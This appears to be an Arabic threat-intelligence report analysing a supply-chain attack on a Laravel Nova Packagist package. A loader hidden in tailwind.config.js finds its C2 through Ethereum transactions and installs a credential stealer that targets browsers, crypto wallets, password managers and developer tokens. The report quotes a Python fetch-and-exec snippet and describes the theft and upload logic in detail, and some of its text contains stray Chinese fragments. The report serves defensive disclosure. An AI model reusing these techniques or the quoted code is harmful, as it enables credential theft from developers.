الخلفية

تعود العينة إلى فرع تطوير ضمن حزمة ملحقات Laravel Nova ‏`visanduma/nova-two-factor`، وهي تابعة لفعالية PolinRider. هذه حزمة PHP منشورة على Packagist، واعتباراً من وقت تحليل هذا المقال كانت قد تجاوزت إجمالي مرات التحميل فيها 700 ألف مرة.

لا يقوم سِلسِل الإرسال بإدراج عنوان C2 في العينة. يقوم كود الإقحام أولاً بالاستعلام عن إيثيريوم، ثم يستخرج عناوين IP لخادمين من عنوان الاستلام في معاملة واحدة، وبعد ذلك يسترجع الحمولة اللاحقة عبر HTTP. لكي يغيّر المهاجم الخوادم، يكفيه إرسال معاملة جديدة على السلسلة، دون الحاجة لإعادة تسميم هذه الحزمة.

نقطة نهاية هذه السلسلة عبارة عن مُسرِق بيانات اعتماد متعدد المنصات، يجمع حسابات المتصفح وملفات تعريف الارتباط (Cookie)، وبيانات المحافظ المُشفّرة، وقاعدة بيانات مدير كلمات المرور، وبيانات اعتماد التطوير.

الحمولة البعيدة التي تم الحصول عليها في هذه المرة تمت استعادتها من الطلب الفعلي في هذه الجولة وتم فك ترميزها دون اتصال (offline). تم تنفيذ فك الترميز فقط عبر تحولات XOR وzlib وbase64، دون تنفيذ أي محتوى تنزيل. تعتمد نتائج التحليل على الكود الثابت واستجابة الطرف البعيد، ولا يوجد حتى الآن دليل على الضحية يثبت نجاح حدوث سلوكيات السرقة هذه.

استجابة MistEye

MistEye هو نظام مستقل طوّرته شركة SlowMist لرصد تهديدات Web3 ومراقبة الأمن الديناميكي. يدمج قدرات مراقبة أمنية وتجميع معلومات استخبارية، ويوفر للمستخدمين تنبيهات فورية لمخاطر حماية الأصول.

لقد قامت MistEye بمزامنة المخاطر في الوقت المناسب عبر قنوات إرسال المعلومات والتنبيه للعملاء.

فيما يلي تحليل تقني مفصل.

سلسلة الهجوم

الصورة أعلاه هي مخطط العلاقة الذي تمت استعادته استنادًا إلى الكود ونتائج الالتقاط.

من سطر إعداد إلى تحديد الموقع على السلسلة

تُخفي شيفرة الإدخال نفسها في نهاية ملف الإعدادات. أول 10 أسطر من الملف هي إعدادات Tailwind طبيعية. السطر 11 يبدأ بإغلاق طبيعي مثل ما يلي: }; ثم تأتي 507 مسافات فارغة، وما بعد المسافات تبدأ الشيفرة التنفيذية. هذه السلسلة من المسافات قد تجعل نافذة ضيقة تعرض نهاية تبدو طبيعية فقط، لكنها لا تغيّر دلالات تنفيذ JavaScript. وتعيين module.exports لن يوقف تنفيذ الموديول. ونقطة التشغيل موجودة أيضًا داخل العيّنة: سكربتات package.json مثل development وwatch وproduction تشير جميعها إلى Laravel Mix. يقوم webpack.mix.js بتمرير tailwind.config.js كمسار إعدادات إلى إضافة PostCSS. وفي Tailwind 3.1.8 يتم قراءة هذا الإعداد داخل setupTrackingContext.js عبر require(userConfigPath)، وهذه الخطوة تُنفّذ كود المستوى العلوي لوحدة الإعدادات.

يقوم المُحمِّل باستخراج عنوان C2 الحالي عبر معاملات Ethereum. يقوم المهاجم بترميز عنواني IPv4 داخل عنوان الاستلام في المعاملة. يقوم العيِّن باستخراج هذه المعلومات من المعاملة ذات عنوان الإرسال الثابت، ثم يقوم بتنزيل الحمولة اللاحقة عبر HTTP. بهذه الطريقة، يمكن للمهاجم نشر معاملات جديدة لتحديث عنوان خادم الإرسال دون تعديل ملف إعدادات تمت حقنه مسبقًا.

تقوم شيفرة الإدخال أولًا بتهيئة متغيراتها العامة الخاصة، ثم تنفيذ استعلامات على السلسلة. وما يُقرأ هو حقل to في المعاملة: يتم إزالة بادئة 0x ثم إعادة تحويلها من صيغة ست عشري إلى 20 بايت، وتكون أول 4 بايت عبارة عن IPv4، والبايتان من 4 إلى 8 هما الجزء الثاني، أما الـ12 بايت المتبقية فلا تُستخدم. والنتيجة التي تم فكها فعليًا في هذه الجولة هي 166[.]88[.]134[.]75؛ وهذان الـ IP متطابقان، بينما الـ12 بايت في الذيل هي وسم نصي واضح helloipbot!!.

يستعلم المُحمِّل حول حدود كل ألف بلوك عن معاملات مرشحة، ويستخرج من هذه المعاملات عناوين C2 المُشفرة. تظهر بيانات السلسلة أن هذه الاستعلامات تعتمد على المهاجم للحفاظ على نبض/تحديث (heartbeat): توجد معاملة جديدة بالقرب من كل حدّ ألف، وكلها في هذه الجولة 392 معاملة عبارة عن تحويلات صفرية وcalldata فارغ، بينما gasUsed كلها 21000، والمعلومة الوحيدة التي تحملها هي عنوان to بحد ذاته. يتم أيضًا تغيير العناوين بشكل دوري؛ وتشير الدورات الخمس الأخيرة على التوالي إلى 166[.]88[.]134[.]62 و23[.]27[.]13[.]135 و166[.]88[.]73[.]46 و193[.]247[.]144[.]38، وبالنسبة لهذه الجولة أيضًا 166[.]88[.]134[.]75.

بعد إتمام التحديد، يرسل الكود طلبًا إلى منفذ 443 الخاص بـ IP الذي تم فكّه، ويستعيد مسارين: /0x/cls و/0x/ls. يوجد هنا تفصيل يسهل أن يُضلّل بخصوص رقم المنفذ: مخطط URL هو http:، ويتم استدعاء http.request، و443 هو مجرد رقم منفذ ولا يعني TLS. بعد فك الرموز بطبقة XOR للدودات (والحمولات) عبر حلقة، يتم تسليمها إلى نفس دالة التنفيذ. يتم تشغيلها في عملية Node فرعية منفصلة. مسار /0x/cls يقوم أيضًا—قبل تشغيل العملية الفرعية—بتقييمه مرة واحدة داخل العملية الحالية أولًا؛ وإذا سبّب هذا التقييم خطأً، أو أخرج العملية، أو لم يُرجع لفترة طويلة، فقد لا يصل المسار إلى الوصول للعملية الفرعية اللاحقة.

ومن الجدير بالذكر أننا استخدمنا MistTrack لتحليل العنوان الخبيث 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a، وكانت أمواله الأولية قادمة من FixedFloat.

图片

ثلاث أدوات، ثلاث مسؤوليات

المساران الخاصان بالتحميل في النهاية يقابلان ثلاثة مكونات. عدد الواجهات أكبر من عدد المكونات لأن بعض الواجهات تستخدم ترميزًا مختلفًا أو مسارات احتياطية لتوفير نفس المحتوى: حقل body في استجابة /0x/clb واستجابة正文 في /0x/cb، وبعد فك الترميز لكل منهما، يتم الحصول على نفس الكود؛ أما /0x/js و/حقل inz الموجود في الاستجابة فهما متطابقان حرفًا بحرف.

/0x/cls يتم سحب مكوّن التحكم عن بُعد clb. يشتمل على قناة أوامر Socket.IO، ويمكنه استرجاع Python وتنفيذه على العنوان الذي يحدده المشغّل. أما المُحمِّل المسؤول عن جلب وتنفيذ clb، فتتضمن أيضًا منطق إعادة الإرسال عند الفشل: في حال حدوث خطأ، تقوم بتجميع os.hostname() وos.userInfo().username وos.type() وos.release() في نص، ثم ترسل POST إلى /verify-human/< الوسم>.

حقل inz داخل نفس الاستجابة، بالإضافة إلى النسخة المزوّدة منفردة عبر /0x/js، هما مُحمِّل إعادة العدوى inz. يستخدم ترميز سلاسل متعدد الطبقات، وتدفق تحكم مسطح (control flow flattening) مدفوع بحالة المصفوفات وتوزيع دوال غير مباشر لغايات الإخفاء. عند فكّه بشكل ثابت، يمكن ملاحظة أنه يتضمن منطق تحديد على السلسلة بنفسه: يستخدم عنوان مرسل على Ethereum نفسه وحقل to مماثل للتحويل إلى IPv4، ثم يطلب بنفسه /0x/cls لاسترجاع مكوّن التحكم عن بعد. وبعد الحصول عليه، يتم تشغيله داخل العملية الحالية أو داخل عملية فرعية منفصلة. يمتلك مكوّن التحكم عن بُعد clb أيضًا القدرة على كتابته داخل سكربت تطبيق المضيف. لاحقًا، عندما يقوم المضيف بتحميل هذا الجزء من الشفرة، سيعود للدخول من جديد في عملية التحديد والتحميل هذه.

/0x/ls: تقوم بإرجاع مكوّن تحميل Python boot. يُظهر الاسترجاع الثابت أن boot يرفع بعض متغيرات البيئة إلى /snv ويبدأ تنزيل حمولة لاحقة عبر Python.

url = f'{{GLOBAL_H}}/$/{id}'       # id ثابت على '1'

Request._code = urlopen(Request(url, headers=H)).read().decode('utf-8')

exec(Request._code)

عند فشل urlopen، يتم الرجوع إلى curl في النظام. ولا يتم إجراء أي تحقق على النص الذي تم الحصول عليه عبر مسارين، ثم يُسلَّم إلى exec.

في هذه الجولة من طلب هذه المسارات، قدّمت الخادِم استجابات غير متّسقة. يعيد HEAD /$/1 قيمة 404، بينما يعيد GET /$/1 قيمة 200 مع نص يحتوي على 36,485 بايت. تكون قيمة Last-Modified مساوية لوقت الطلب في كل مرة. وبنفس الطريقة طلبنا /d/python.zip و/d/python.7z و/d/7zr.exe، لكن جميعها أعادت 500.

قاطع بيانات اعتماد عبر منصات متعددة

المرحلة الأخيرة من الحمولة التي تم الحصول عليها في هذه المرة—بعد فك Base64 وفك ضغط zlib—تُنتج سكربت Python بحجم 89,149 بايت.

تستهدف هذه الحمولة بيانات حساسة يمكن لحساب التنفيذ الوصول إليها؛ فهي تشمل منطق استخراج بيانات اعتماد تسجيل الدخول وفك تشفيرها، كما تنسخ مباشرة ملفات بيانات محافظ الويب ومديري كلمات المرور وأدوات التطوير. وتنقسم أهداف الجمع في الكود إلى الفئات الخمس التالية.

  • حسابات المتصفح والجلسات ومعلومات الدفع: تغطي متصفحات Chromium مثل Chrome وEdge وBrave وArc، وكذلك Firefox. تقرأ بيانات تسجيل الدخول وCookie وWeb Data وتُحاول فك التشفير والتصدير. كما تتضمن بعض مسارات Chromium بيانات بطاقات الدفع؛ كذلك يوجد منطق لنسخ إعدادات Firefox وبيانات الإضافات (extensions).

  • بيانات محافظ التشفير وتطبيقات المحافظ: ملفات المحافظ مثل Exodus وElectrum وAtomic وMonero. وملف id.json الخاص بـ Solana. وبيانات التخزين الخاصة بالامتدادات مثل MetaMask وPhantom. إضافة إلى بيانات تطبيقات سطح المكتب مثل Ledger Live وTrezor Suite؛ يتم البحث في المسارات المحددة مسبقًا وبناءً على معرفات الامتدادات لنسخ الملفات أو الدلائل.

  • بيانات مدير كلمات المرور: قواعد بيانات محلية وذاكرة مؤقتة وإعدادات الخاصة بالتطبيقات والامتدادات مثل 1Password وBitwarden وNordPass وKeePass/KeePassXC وDashlane وLastPass. تتم نسخ الملفات والدلائل المتطابقة، وجزء من قواعد بيانات SQLite يتم جمعها مع ملفات السجل (logs).

  • بيانات اعتماد التطوير ومتغيرات البيئة: ملفات Git credentials، وhosts.yml الخاص بـ GitHub CLI، وحالة VS Code المحلية، وسجلات GitHub Desktop، ومتغيرات بيئة العملية الحالية. تنسخ الملفات وتصدر متغيرات البيئة إلى JSON ونص، وقد تحتوي على رموز وصول مضمّنة لبيئات التطوير أو البناء.

  • تخزين بيانات الاعتماد للنظام: مدير بيانات الاعتماد في Windows، وكذلك الإدخالات في المجموعة الافتراضية ضمن Linux Secret Service. يتم استدعاء واجهات النظام للتعداد ومحاولة قراءة محتوى بيانات الاعتماد المتاح للحساب الحالي.

بالنسبة لبيانات المتصفح، يقوم العيّن أيضًا بنسخ قاعدة البيانات الأصلية، ويتضمن منطقًا لاستدعاء Windows DPAPI وmacOS Keychain وLinux Secret Service/KWallet للحصول على مواد فك التشفير، ومحاولة استعادة الحقول الحساسة وتصديرها كنص واضح. إن كانت العملية ستنجح فعليًا أم لا يعتمد على ما إذا كانت المفاتيح المطلوبة أو واجهات فك التشفير متاحة، وعلى صلاحيات الوصول، وعلى مدى توافق تنسيق بيانات المتصفح.

قد يبحث العيّنة أيضًا عن مسارات مثل /mnt/*/Users/*/AppData/...، ويحاول قراءة أدلة المستخدمين على نظام Windows المُثبتة (المحمولة/المستضافة). لذلك قد يمتد نطاق جمع البيانات إلى أقسام أنظمة أخرى يمكن للحساب الحالي الوصول إليها؛ لكن المحتوى القابل للقراءة الفعلي يظل محدودًا بحالة التثبيت وبصلاحيات الملفات.

يتم كتابة نتائج الجمع في دليل محلي ثم تعبئتها/تغليفها. يقوم العيِّن برفع معلومات المضيف وعدد عمليات الجمع إلى /u/e وقراءة معاملات الرفع في الاستجابة الخاصة بـ Telegram؛ ثم يقوم برفع الأرشيف عبر /u/f، أو عندما تتحقق شروط الكود، يستدعي Telegram sendDocument. تتضمن منطق الرفع إعادة المحاولة وتبديل المضيف ومعالجة التقسيم إلى أجزاء. بعد نجاح الرفع، يحاول حذف الأرشيف المحلي.

تحتوي هذه الشفرة أيضًا على قيدين ذاتيين. عند رمز استجابة 429، تخرج مباشرة. وBlocked (BOT) هو القيد الثاني: إذا لم تُصب العينة بيئة Linux التي تحمل WSL2، وبلغ عدد بيانات الاعتماد لدى النظام وكذلك عداد الامتدادات وعداد ملف تعريف Firefox صفرًا، فإنها تسجل هذا الوسم وتتجاوز مسار جمع البيانات الرئيسي والتحميل اللاحق. وقبل الوصول إلى هذا الشرط، كانت العينة قد نفذت تصدير متغيرات البيئة، وتعداد بيانات الاعتماد على النظام، ومسحًا جزئيًا للأدلة.

الملخص

المؤكد هو وجود سلسلة كاملة من التوصيل من إعدادات البناء وصولًا إلى قاطع بيانات الاعتماد. نقطة الدخول هي مُحمِّل مُضاف إلى tailwind.config.js ويقوم بناء الواجهة الأمامية بتشغيله. لا يعتمد التحديد على النطاق؛ بل يعتمد على حقل to في معاملة على Ethereum. تتكون المرحلة الثالثة من ثلاثة مكونات: مكوّن التحكم عن بعد clb، ومحمّل إعادة العدوى inz، ومكوّن تحميل يمتد إلى Python boot. النهاية هي قاطع بيانات اعتماد يغطي ثلاث منصات، والأهداف تشمل بيانات اعتماد المتصفح ومحافظ التشفير ومدير كلمات المرور وبيانات اعتماد التطوير.

تقع المخاطر على أجهزة التطوير التي تبني واجهة المستخدم الأمامية، وعلى حاويات البناء وCI runner. طالما تم تنفيذ بناء هذا المشروع على تلك الآلة، يمكن للمُحمِّل أن يعمل. أما القائم بالسرقة، بمجرد تنفيذه، يمكن أن تُقرأ بيانات اعتماد المتصفح، وملفات المحافظ، وGitHub token ضمن نطاق صلاحيات حساب التنفيذ القابل للوصول.

توصيات

1. افحص下游项目的 composer.lock، وتأكد مما إذا كانت visanduma/nova-two-factor تقع ضمن إصدارات خبيثة مثل dev-nova5، وقارن/تحقق من لقطات مصدر هذا الحزم عند أي لحظة باستخدام تجزئة الملفات (file hash) للتحقق من tailwind.config.js.

2. على أجهزة التطوير المتأثرة وCI runner، استرجع سجلات الشبكة خلال فترة البناء. عند بناء المشروع، يقوم Node ببدء طلبات JSON-RPC إلى عدة Ethereum RPC، كما يرسل HTTP نصًا إلى منفذ IP خام 443. وتتضمن الطلبات أيضًا ترويسة Sec-V.

3. تحقق مما إذا كان هناك node -e في سطر أوامر العملية الحالية، وما إذا كان البادئ يتضمن global['_V']، وكذلك تحقق عن عملية Python التي يتم تشغيلها عبر py -c؛ في المسار الذي يقوم بالتقييم مباشرةً لا يتم إنشاء عملية جديدة، لذا الاكتفاء بفحص node -e فقط سيفوّت هذا النوع من التنفيذ.

4. بعد التأكد من أن البناء قد تم تنفيذه بنجاح، تعامل مع المضيف على أنه مخترق. في بيئة نظيفة، بدّل كلمات مرور المتصفح الرئيسية التي ظهرت على هذه الآلة، وكلمات المرور المساعدة للمحافظ و/أو المفاتيح الخاصة، وميزة توكن GitHub CLI وأي بيانات اعتماد لإدارة الإصدارات الأخرى. ثم قم بمراجعة عمليات الوصول الأخيرة إلى هذه الحسابات.

5. احتفظ بملف composer.lock، وبكائنات Git المحلية وreflog، وبوقت البناء، وبإصدار Node في ذلك الوقت، وباستجابة طلب HTTP الأصلية. تجنب تحديث الاعتمادات أو إعادة البناء قبل اكتمال عملية التشخيص.

6. يكون الحجب على مستوى الشبكة وفق عناوين IP المذكورة في قسم IOC من هذه المقالة فقط. لا تقم بحظر نطاقات Telegram بشكل عام، لأن ذلك خدمة عامة تم الاستعانة بها. كذلك لا تكتفِ بـ IP: بالتزامن مع فحص المضيف والحسابات، تحقق مما إذا كانت آلة البناء تحتوي على أي بقايا مثل أرشيفات مجمعة، ملفات تصدير متغيرات البيئة، وسجلات الاتصالات الخارجية غير الطبيعية.

IOC

IP

166[.]88[.]134[.]75
166[.]88[.]134[.]62
23[.]27[.]13[.]135
166[.]88[.]73[.]46
193[.]247[.]144[.]38

عنوان المحفظة

0xa322e5f3d311d3080e6f0121063e9adc2490ef1a

اعتماد خبيث

Packagist:visanduma/nova-two-factor@dev-nova4support
Packagist:visanduma/nova-two-factor@dev-main
Packagist:visanduma/nova-two-factor@dev-using-inertia
Packagist:visanduma/nova-two-factor@dev-nova5

ملف خبيث

filename: tailwind.config.js
SHA256: 515a53291d25d229e1f9fa72e66407e1cfd7e77c91478400b24d5185af68531a

مرجع

https://socket.dev/blog/polinrider-github-packagist

حول MistEye

MistEye هو منصة Web3 لرصد التهديدات ومراقبة أمن ديناميكي طورتها شركة SlowMist بشكل مستقل، وتوفر عبر API قدرات كشف الأنشطة الخبيثة والتنبيه لمخاطر سلسلة التوريد ضمن منظومة الحزم مفتوحة المصدر.

تم توصيل جميع الحزم الخبيثة وIOC الخاصة بهذه العملية إلى محرك الكشف عن التهديدات في MistEye. يمكن للمطورين إجراء فحص آلي لاعتمادات المشروع عبر API لتحديد بسرعة ما إذا كانت قد تطابقت مع حزم خبيثة معروفة والحصول على توصيات للتعامل معها.

📖 توثيق واجهات API: https://app.misteye.io/api-docs

🛠️ MistEye-DepScan: https://github.com/slowmist/MistEye-DepScan

أداة CLI خفيفة الوزن؛ بأمر سطر واحد، تقوم بمسح اعتمادات المشروع والحزم المثبتة عالميًا بحثًا عن الحزم الخبيثة المعروفة، ويدعم أنظمة npm / PyPI / Cargo / Go / RubyGems

🛠️ MistEye-Skills: https://github.com/slowmist/misteye-skills

حزمة مهارات آمنه لمساعد ترميز AI، تُفعّل اكتشاف MistEye الأمني تلقائيًا قبل تثبيت الاعتمادات وقبل الوصول إلى عنوان URL

🛠️ MistEye-DNS-Guard: https://github.com/slowmist/MistEye-DNS-Guard

أداة حماية أمنية على مستوى DNS، تكتشف المجالات الخبيثة ومحاولات الوصول عالية الخطورة وتُحدد تهديدات شبكية مثل التصيّد وC2

تمت كتابة هذه المقالة بواسطة فريق معلومات التهديد لدى SlowMist، بالتكامل مع نظام MistEye لنقل التهديدات، ومع تحليل يتم تشغيله بواسطة SlowMist Agent AI. لأي أسئلة، يُرجى التواصل لإبداء الملاحظات.